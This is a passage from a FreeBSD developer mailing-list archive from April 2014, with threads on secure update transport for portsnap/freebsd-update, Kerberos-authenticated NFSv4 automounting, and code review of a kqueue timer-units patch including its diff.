user to choose whether they want versioned files - in which case freebsd-update would use svnlite from base, and the user accepts that it will be slow and use a little more space - or if they want just the up to date files with no metadata, in which case "portsnap" mode can be used. I put "portsnap" in quotes there, because it seems like there are some issues to solve there. In a non license constrained world, the problem of "how do I replicate these files from here to there" is universally solved by rsync. Would a freebsd-update tool that required the rsync port/package to be installed in order to operate in "portsnap" mode be that bad, especially with svnlite (or even use fetch to grab a snapshot) to fall back on? Cheers Tom From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 16:27:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 39D5370D for ; Sat, 12 Apr 2014 16:27:16 +0000 (UTC) Received: from mail-lb0-x22a.google.com (mail-lb0-x22a.google.com [IPv6:2a00:1450:4010:c04::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B7ABD171E for ; Sat, 12 Apr 2014 16:27:15 +0000 (UTC) Received: by mail-lb0-f170.google.com with SMTP id s7so4527257lbd.29 for ; Sat, 12 Apr 2014 09:27:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:content-type; bh=X9YfdK5gqNS7F3rar2Fn+NnV4qWh7A99zTHCXXJ2hXI=; b=tAEr/6c2Q/rwnLXfqWRO9pHMlIGMJQoRe7Q4dwU8DL2x+fOb3j1KN6CTshBL2pEjvN j8W/DgrkBmISXQwsl0vJ0z9VHCkzmxAut1atHmvqb8I+ujF4RXbUgJ5yVBwPOtnETtgC eJvDAmYGq8LyfjxFOdGuEzSV5yD3d1/wzktRlhOUd/aasyG6Qcc9dWENYWKznUJjjWJL siNaj1+qRKZoORcfljk/VzwPsjsvo99O46UfgzdqEP6bUmsDk5ZtxOuYBAWIy4qF4UFz nfz2usWceH/mUD22ebBwK7/QU0rSBCHpTLVcU2BBRipv1u/6JqVESfaqS1fg3STbkoQv uQOQ== X-Received: by 10.152.22.37 with SMTP id a5mr22100294laf.4.1397320033521; Sat, 12 Apr 2014 09:27:13 -0700 (PDT) MIME-Version: 1.0 Sender: royce.williams@gmail.com Received: by 10.112.9.67 with HTTP; Sat, 12 Apr 2014 09:26:53 -0700 (PDT) In-Reply-To: References: <534932A8.6040801@gmx.com> From: Royce Williams Date: Sat, 12 Apr 2014 08:26:53 -0800 X-Google-Sender-Auth: mkzS57sjW8vbY05UNot-RLPDSMY Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 16:27:16 -0000 On Sat, Apr 12, 2014 at 8:06 AM, Tom Evans wrote: [snip] > issues to solve there. In a non license constrained world, the problem > of "how do I replicate these files from here to there" is universally > solved by rsync. Would a freebsd-update tool that required the rsync Don't portsnap and freebsd-update use cryptographic signing as well? When used to update software, signing seems like a big win over vanilla rsync. Royce From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 23:28:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3EDF8E35 for ; Sat, 12 Apr 2014 23:28:56 +0000 (UTC) Received: from esa-annu.net.uoguelph.ca (esa-annu.mail.uoguelph.ca [131.104.91.36]) by mx1.freebsd.org (Postfix) with ESMTP id 021B01A1A for ; Sat, 12 Apr 2014 23:28:55 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqYEAOXKSVODaFve/2dsb2JhbABZg0FXgxC4ZIZkUYEvdIIlAQEBAwEBAQEgKyALBRQCEQMBAgECAg0HCwcCIwYBCR4IBggHBAEcBIdHAwkIDYwunBmbNA2GYxeBKYssgS0bAQEKEQEzBwYSgleBSQSWCWqDJIs+hU+BcoFbITGBBDk X-IronPort-AV: E=Sophos;i="4.97,849,1389762000"; d="scan'208";a="113958960" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-annu.net.uoguelph.ca with ESMTP; 12 Apr 2014 19:28:48 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id 04349B40B1; Sat, 12 Apr 2014 19:28:49 -0400 (EDT) Date: Sat, 12 Apr 2014 19:28:49 -0400 (EDT) From: Rick Macklem To: Cedric Blancher Message-ID: <703720810.10243218.1397345329008.JavaMail.root@uoguelph.ca> In-Reply-To: Subject: Re: Accessing Kerberos NFS version 4 (not 2, 3) via /net automounter with kinit only (no /etc/krb5.conf access) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [172.17.91.202] X-Mailer: Zimbra 7.2.1_GA_2790 (ZimbraWebClient - FF3.0 (Win)/7.2.1_GA_2790) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 23:28:56 -0000 Cedric Blancher wrote: > How hard is it to do this with FreeBSD's NFSv4 implementation? >=20 Well, amd doesn't know how to do nmount(2) { it still uses the old mount(2) syscall } and, as such, can't do an NFSv4 mount. - You can`t automount NFSv4. FreeBSD`s NFSv4 client can do a mount with a user`s credential (no system credential in the default keytab file) if non-root mounts are enabled, but the mount command must be done manually by the user after logging in. rick > Ced >=20 > ---------- Forwarded message ---------- > From: Wang Shouhua > Date: Sat, Apr 12, 2014 at 11:24 AM > Subject: Accessing Kerberos NFS version 4 (not 2, 3) via /net > automounter with kinit only (no /etc/krb5.conf access) > To: Kerberos@mit.edu >=20 >=20 > Lets recap: >=20 > 1. Requirements: > - Linux or Solaris > - NFS automounter set up at /net > - Kerberos5 configured for realm EXAMPLE2.COM, rpc.gssd running > - A NFS server (version 4 only) nfsserver.most.gov.cn exists in the > realm MOST.GOV.CN, with a subdir of test3 >=20 > 2. Goal: > A user provides his password to obtain a ticket for user2@MOST.GOV.CN > (optionally nfs@MOST.GOV.CN, if this is a requirement to do a mount), > and is then able to cd into /net/nfsserver.most.gov.cn/test3, and do > a > successful ls -al there >=20 > Is that possible? >=20 > Wang >=20 > ---------- Forwarded message ---------- > From: Will Fiveash > Date: 11 April 2014 22:14 > Subject: Re: Accessing Kerberos NFS via /net automounter with kinit > only (no /etc/krb5.conf access) > To: Wang Shouhua > Cc: Kerberos@mit.edu >=20 >=20 > On Tue, Apr 01, 2014 at 06:00:45PM +0200, Wang Shouhua wrote: > > I am on Solaris 10U4 - can I access a NFS filesystem with > > (mandatory) > > krb5p authentication via the Solaris /net automounter with kinit > > only, > > without having r/w access to /etc/krb5.conf access)? >=20 > You'll need to have Solaris krb configured which stores its config in > /etc/krb5 not /etc as is the MIT default. You'll also need read > access > to /etc/krb5/krb5.conf and have the system properly configured to do > NFS > with krb in general (read the Solaris 10 online docs). >=20 > Beyond that, whether a user kinit'ing is enough depends on which > version > of NFS you are using. On the client side NFSv3 sec=3Dkrb5p shares will > automount if the user triggering the mount has a krb cred in their > ccache (klist will show that) and does not require any keys in the > system keytab nor does it require root to have a krb cred in general. >=20 > NFSv4 on the other hand does require that the root on the NFS client > system have a krb cred in its ccache. This can be done either by > running kinit as root or having at least one set of keys for either > the > root/ or host/ service princ in the system keytab which > will > be automatically used to acquire a krb cred for root. >=20 > On the client system "nfsstat -m" will show what version of NFS is > being > used. >=20 > -- > Will Fiveash > Oracle Solaris Software Engineer >=20 >=20 > -- > Wang Shouhua - shouhuaw@gmail.com > =E4=B8=AD=E5=8D=8E=E4=BA=BA=E6=B0=91=E5=85=B1=E5=92=8C=E5=9B=BD=E7=A7=91= =E5=AD=A6=E6=8A=80=E6=9C=AF=E9=83=A8 - HTTP://WWW.MOST.GOV.CN >=20 >=20 > ________________________________________________ > Kerberos mailing list Kerberos@mit.edu > https://mailman.mit.edu/mailman/listinfo/kerberos >=20 >=20 > -- > Cedric Blancher > Institute Pasteur > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 13 13:15:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C4194698 for ; Sun, 13 Apr 2014 13:15:56 +0000 (UTC) Received: from mail-we0-x22d.google.com (mail-we0-x22d.google.com [IPv6:2a00:1450:400c:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 55EF11D00 for ; Sun, 13 Apr 2014 13:15:56 +0000 (UTC) Received: by mail-we0-f173.google.com with SMTP id w61so7011601wes.4 for ; Sun, 13 Apr 2014 06:15:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=Ku2rlsEakxow4BFAp1jVrzOLhT55+7huWi8f/L6i1ME=; b=ve7IXoPcY+rbwBUCnssKTD/I0M87urGOMlMR5hXb8gLNrpKK4N4+wzP0eVynJnfOHU yosb89I/3HS341kTxNzVy17R8dX5sk6hU5v0r38+D0CXMhLK6NRYoG3AN0n0mpXHiRQc LSVE2h+P2FOkj3knLIrWkh4gNI1bppGDQA0qKlZt0FZrr5TowsxUIoXBE9BGteoollq/ yZR9wuai/TnseTnQIO4vagVt/JfhBFrDJLbf5zBdP62+4yo1LAiK9Jh1GM6uhCq1ov6o is0Y4P39loO5tunIjek0vHgNwKL8ez3e3S0JljHKz8fySwYaYA59hrpOulU/xRPi+j38 OfHg== X-Received: by 10.180.188.66 with SMTP id fy2mr5756773wic.45.1397394954633; Sun, 13 Apr 2014 06:15:54 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id kp5sm20342767wjb.30.2014.04.13.06.15.52 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 13 Apr 2014 06:15:53 -0700 (PDT) Sender: Baptiste Daroussin Date: Sun, 13 Apr 2014 15:15:51 +0200 From: Baptiste Daroussin To: John-Mark Gurney , "freebsd-hackers@freebsd.org" , desrt@desrt.ca Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140413131550.GD17898@ivaldir.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="OaZoDhBhXzo6bW1J" Content-Disposition: inline In-Reply-To: <20140310180404.GI32089@funkthat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Apr 2014 13:15:56 -0000 --OaZoDhBhXzo6bW1J Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 10, 2014 at 11:04:04AM -0700, John-Mark Gurney wrote: > Adrian Chadd wrote this message on Mon, Mar 10, 2014 at 10:47 -0700: > > On 10 March 2014 06:16, Baptiste Daroussin wrote: > > > A glib developer pointed me to some of the improvements Apple has don= e on > > > kqueue(2), some of those improvements are used or will be used by gli= b in the > > > near futur, plus add new one. > > > > > > I decided to implement part of it and here is the first patch about i= t: > > > http://people.freebsd.org/~bapt/kevent.diff > >=20 > > +jmg, he's also done stuff with queue. >=20 > and the maintainer of kqueue.. :) >=20 > The patch looks fine, but it's missing the updates to kqueue(2) to > describe what the new flags do... >=20 > Also, it would be good to see updates to tools/regression/kqueue/timer.c > to support the additional flags to make sure that they don't break in > the future... >=20 I have splitted my patch in multiple parts, let start with the first one: adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS http://people.freebsd.org/~bapt/kevent_timer.diff if ok I'll commit that one first then finish NOTE_MONOTONIC and in 3rd part add the regression tests. regards, Bapt --OaZoDhBhXzo6bW1J Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlNKjgYACgkQ8kTtMUmk6EzKiQCfd+56MELkiKEwW99b+2schaau FmMAnikei58ZgSP950xdqv+nA+Ica2Ug =ZK6D -----END PGP SIGNATURE----- --OaZoDhBhXzo6bW1J-- From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 13 14:06:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EFD80BF for ; Sun, 13 Apr 2014 14:06:06 +0000 (UTC) Received: from mail-ie0-x22e.google.com (mail-ie0-x22e.google.com [IPv6:2607:f8b0:4001:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BDC6611FA for ; Sun, 13 Apr 2014 14:06:06 +0000 (UTC) Received: by mail-ie0-f174.google.com with SMTP id rp18so6983764iec.5 for ; Sun, 13 Apr 2014 07:06:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=jqOEk1vNAyZV1xKc8Y2mS44n+kWm8keY9BFkwJDyTmg=; b=lt5zgPxyGntzz+fOyCrVGWFoKcr9g4fnBNUSjKsNY+u1+EcdcrTa1K70ko5hCVOzYM 2iXf7KYprPWNAOpTeUz4hNzFnXc17r2cVvo0GA7VVrNa+4qoeCUmmhZkYsxDW7TjKBgj 1QjXoAScT5kqhqN64Pv1K8HStFTgAZGfY+lFLOr3WVQ7ki4Nk7oGe7BIENRazewlUVO9 AMnKAzWC1ERw4kLMcjQdqAYuLv/ut4ioYqkjRhdRWsiDnrR+lpMeTmlO1Ixx3E49i4mf pp2lIAIiVtcn761rVadOym1JBXUlvUg9LS0ks8QzVSBcSpB+y7LNqLpspXsPvReyVf1K evRw== MIME-Version: 1.0 X-Received: by 10.50.22.37 with SMTP id a5mr9943217igf.30.1397397966186; Sun, 13 Apr 2014 07:06:06 -0700 (PDT) Received: by 10.50.226.170 with HTTP; Sun, 13 Apr 2014 07:06:06 -0700 (PDT) In-Reply-To: <703720810.10243218.1397345329008.JavaMail.root@uoguelph.ca> References: <703720810.10243218.1397345329008.JavaMail.root@uoguelph.ca> Date: Sun, 13 Apr 2014 16:06:06 +0200 Message-ID: Subject: Re: Accessing Kerberos NFS version 4 (not 2, 3) via /net automounter with kinit only (no /etc/krb5.conf access) From: Cedric Blancher To: Rick Macklem Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Apr 2014 14:06:07 -0000 On 13 April 2014 01:28, Rick Macklem wrote: > Cedric Blancher wrote: >> How hard is it to do this with FreeBSD's NFSv4 implementation? >> > Well, amd doesn't know how to do nmount(2) { it still uses the old > mount(2) syscall } and, as such, can't do an NFSv4 mount. > - You can`t automount NFSv4. > > FreeBSD`s NFSv4 client can do a mount with a user`s credential > (no system credential in the default keytab file) Which system credential? nfs/, host/ or root/? > if non-root > mounts are enabled, but the mount command must be done manually > by the user after logging in. No automounter? Ced > > rick > >> Ced >> >> ---------- Forwarded message ---------- >> From: Wang Shouhua >> Date: Sat, Apr 12, 2014 at 11:24 AM >> Subject: Accessing Kerberos NFS version 4 (not 2, 3) via /net >> automounter with kinit only (no /etc/krb5.conf access) >> To: Kerberos@mit.edu >> >> >> Lets recap: >> >> 1. Requirements: >> - Linux or Solaris >> - NFS automounter set up at /net >> - Kerberos5 configured for realm EXAMPLE2.COM, rpc.gssd running >> - A NFS server (version 4 only) nfsserver.most.gov.cn exists in the >> realm MOST.GOV.CN, with a subdir of test3 >> >> 2. Goal: >> A user provides his password to obtain a ticket for user2@MOST.GOV.CN >> (optionally nfs@MOST.GOV.CN, if this is a requirement to do a mount), >> and is then able to cd into /net/nfsserver.most.gov.cn/test3, and do >> a >> successful ls -al there >> >> Is that possible? >> >> Wang >> >> ---------- Forwarded message ---------- >> From: Will Fiveash >> Date: 11 April 2014 22:14 >> Subject: Re: Accessing Kerberos NFS via /net automounter with kinit >> only (no /etc/krb5.conf access) >> To: Wang Shouhua >> Cc: Kerberos@mit.edu >> >> >> On Tue, Apr 01, 2014 at 06:00:45PM +0200, Wang Shouhua wrote: >> > I am on Solaris 10U4 - can I access a NFS filesystem with >> > (mandatory) >> > krb5p authentication via the Solaris /net automounter with kinit >> > only, >> > without having r/w access to /etc/krb5.conf access)? >> >> You'll need to have Solaris krb configured which stores its config in >> /etc/krb5 not /etc as is the MIT default. You'll also need read >> access >> to /etc/krb5/krb5.conf and have the system properly configured to do >> NFS >> with krb in general (read the Solaris 10 online docs). >> >> Beyond that, whether a user kinit'ing is enough depends on which >> version >> of NFS you are using. On the client side NFSv3 sec=3Dkrb5p shares will >> automount if the user triggering the mount has a krb cred in their >> ccache (klist will show that) and does not require any keys in the >> system keytab nor does it require root to have a krb cred in general. >> >> NFSv4 on the other hand does require that the root on the NFS client >> system have a krb cred in its ccache. This can be done either by >> running kinit as root or having at least one set of keys for either >> the >> root/ or host/ service princ in the system keytab which >> will >> be automatically used to acquire a krb cred for root. >> >> On the client system "nfsstat -m" will show what version of NFS is >> being >> used. >> >> -- >> Will Fiveash >> Oracle Solaris Software Engineer >> >> >> -- >> Wang Shouhua - shouhuaw@gmail.com >> =D6=D0=BB=AA=C8=CB=C3=F1=B9=B2=BA=CD=B9=FA=BF=C6=D1=A7=BC=BC=CA=F5=B2=BF= - HTTP://WWW.MOST.GOV.CN >> >> >> ________________________________________________ >> Kerberos mailing list Kerberos@mit.edu >> https://mailman.mit.edu/mailman/listinfo/kerberos >> >> >> -- >> Cedric Blancher >> Institute Pasteur >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to >> "freebsd-hackers-unsubscribe@freebsd.org" --=20 Cedric Blancher Institute Pasteur From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 13 14:20:40 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61E3942C; Sun, 13 Apr 2014 14:20:40 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DB71712D9; Sun, 13 Apr 2014 14:20:39 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3DEKSo1086810; Sun, 13 Apr 2014 17:20:28 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3DEKSo1086810 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3DEKS5X086809; Sun, 13 Apr 2014 17:20:28 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 13 Apr 2014 17:20:28 +0300 From: Konstantin Belousov To: Baptiste Daroussin Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140413142028.GD4016@kib.kiev.ua> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> <20140413131550.GD17898@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="dc+cDN39EJAMEtIO" Content-Disposition: inline In-Reply-To: <20140413131550.GD17898@ivaldir.etoilebsd.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: desrt@desrt.ca, John-Mark Gurney , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Apr 2014 14:20:40 -0000 --dc+cDN39EJAMEtIO Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Apr 13, 2014 at 03:15:51PM +0200, Baptiste Daroussin wrote: > I have splitted my patch in multiple parts, let start with the first one: > adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS >=20 > http://people.freebsd.org/~bapt/kevent_timer.diff > Index: sys/kern/kern_event.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/kern/kern_event.c (revision 264413) > +++ sys/kern/kern_event.c (working copy) > @@ -524,14 +524,24 @@ > * interval timer support code. > */ > static __inline sbintime_t > -timer2sbintime(intptr_t data) > +timer2sbintime(intptr_t data, int flags) > { > + sbintime_t modifier; > =20 > + modifier =3D SBT_1MS; > + > + if (flags & NOTE_SECONDS) > + modifier =3D SBT_1S; > + else if (flags & NOTE_USECONDS) > + modifier =3D SBT_1US; > + else if (flags & NOTE_NSECONDS) > + modifier =3D SBT_1NS; It is better to put the 'modifier =3D SBT_1MS;' statement as the else part. That said, IMO it would be sometimes beneficial to have real flag to specify milliseconds precision, in addition to milliseconds be the default. > + > #ifdef __LP64__ > - if (data > SBT_MAX / SBT_1MS) > + if (data > SBT_MAX / modifier) > return (SBT_MAX); > #endif > - return (SBT_1MS * data); > + return (modifier * data); > } > =20 > static void > @@ -547,7 +557,7 @@ > if ((kn->kn_flags & EV_ONESHOT) !=3D EV_ONESHOT) { > calloutp =3D (struct callout *)kn->kn_hook; > callout_reset_sbt_on(calloutp, > - timer2sbintime(kn->kn_sdata), 0 /* 1ms? */, > + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 /* 1ms? */, There, at least the comment about precision should be updated. But, it seems that for the seconds precision, it makes sense to specify e.g. 1/2 sec as precision; or add an API flag to allow imprecise callout scheduling. > filt_timerexpire, kn, PCPU_GET(cpuid), 0); > } > } > @@ -566,7 +576,7 @@ > return (EINVAL); > if ((intptr_t)kn->kn_sdata =3D=3D 0 && (kn->kn_flags & EV_ONESHOT) =3D= =3D 0) > kn->kn_sdata =3D 1; > - to =3D timer2sbintime(kn->kn_sdata); > + to =3D timer2sbintime(kn->kn_sdata, kn->kn_sfflags); > if (to < 0) > return (EINVAL); > =20 > Index: sys/sys/event.h > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/sys/event.h (revision 264413) > +++ sys/sys/event.h (working copy) > @@ -133,6 +133,11 @@ > #define NOTE_TRACKERR 0x00000002 /* could not track child */ > #define NOTE_CHILD 0x00000004 /* am a child process */ > =20 > +/* additional flags for EVFILE_TIMER */ > +#define NOTE_SECONDS 0x00000001 /* data is seconds */ > +#define NOTE_USECONDS 0x00000002 /* data is microseconds */ > +#define NOTE_NSECONDS 0x00000004 /* data is nanoseconds */ > + > struct knote; > SLIST_HEAD(klist, knote); > struct kqueue; --dc+cDN39EJAMEtIO Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTSp0rAAoJEJDCuSvBvK1BjLwP/j8i6SlKTRYAh8s0DivRFCLd IRNPTxy6s2EHsos5c+DztwfY1LPbEy/XLm97qE90QuL83JF814+Q0pFwwuqySEb6 sLePohvzH51nFHOzqafe2E942BjNGLXC/sNcRDByS3+j/4cMCyUfsaWj4PpQ7QI/ 7MUS+SzeR/zF8eVvbYB9K4RB0B7qKBwZaODX4Uw0GH6CaD7dPOu2ekbt2opdXdKf a57ZhFaxb5NvuMeGoBdrfsdivHPanDI6rpE64/NWOgBmEiFdzuonudkGIfCJWtk2 n6y3q1SKSPSoBYxO9wEalbTce+wEwukwf9oouE+UErZDdUGFmwsqRpyauAVFtYum 56V8oocn+qonaxESMdpqMbBYc/KQWPy+widvYRVgZZgE1Dcl+w8ZILDhx12IOKXu V2OIXkjefiT243pcEtWx59p3cG5M1/QNid094nbRLPvO3ggesFRqy+As4siLe+OZ K6ruVfaQhOYeYJoj7djG+KpAGvOOZiyS9XuSr8Me1qirg5eo5uPkw5LwuqF6YcM1 IftVOinVWLMBt009AZO3R2GiSzNiuCPDRTqLZTEA4DTVx+HpgI6oYHEHgcfL+O9G ME0O1fPirkiTDnezpqiYmaV9kp46bA5RrrrXatnujJr7AvOw4svNOX6PHhJs4jeq kR9FgkTutAuqH6yjXVF/ =Aa+6 -----END PGP SIGNATURE----- --dc+cDN39EJAMEtIO-- From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 13 19:19:35 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 43C6B1AC for ; Sun, 13 Apr 2014 19:19:35 +0000 (UTC) Received: from mail-we0-x232.google.com (mail-we0-x232.google.com [IPv6:2a00:1450:400c:c03::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C3AE91BED for ; Sun, 13 Apr 2014 19:19:34 +0000 (UTC) Received: by mail-we0-f178.google.com with SMTP id u56so7243906wes.37 for ; Sun, 13 Apr 2014 12:19:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=i59CEZTMCCbzix4zbLYgC6UxSB4dfcKjDlkRwFCTvNs=; b=TsyW9tJ8Naia6XrWtb75k46u9WkwfNrdpx3TnbrYTO92eLKKHYOmjXxjR9riOweJLz uZLQjU0uhBWdnTFIPlqElXUypNbms4+opaR7hPHzeEKT0xPshb5HVkbnEiqRMcx3gmfs HjUJPv6OJ143/IgN7LG1caKk/t5W6TMZU8bmFZLmFfk2Efnqid5NW1lx1gsP02rjwarv nuXLuB4y5PLlAomVGqPZkPHY0JxYIoZKpQO29cf2YWNcgoQfHGidAdfjp+bTt6g235T5 gINEduQbGv/QyOexRh0J6MxeqSfumWV2WnAujN340EIVNRh9L2AtZ7PDjiFmLZ41DK1E /t+Q== X-Received: by 10.180.7.227 with SMTP id m3mr6557487wia.59.1397416772255; Sun, 13 Apr 2014 12:19:32 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id 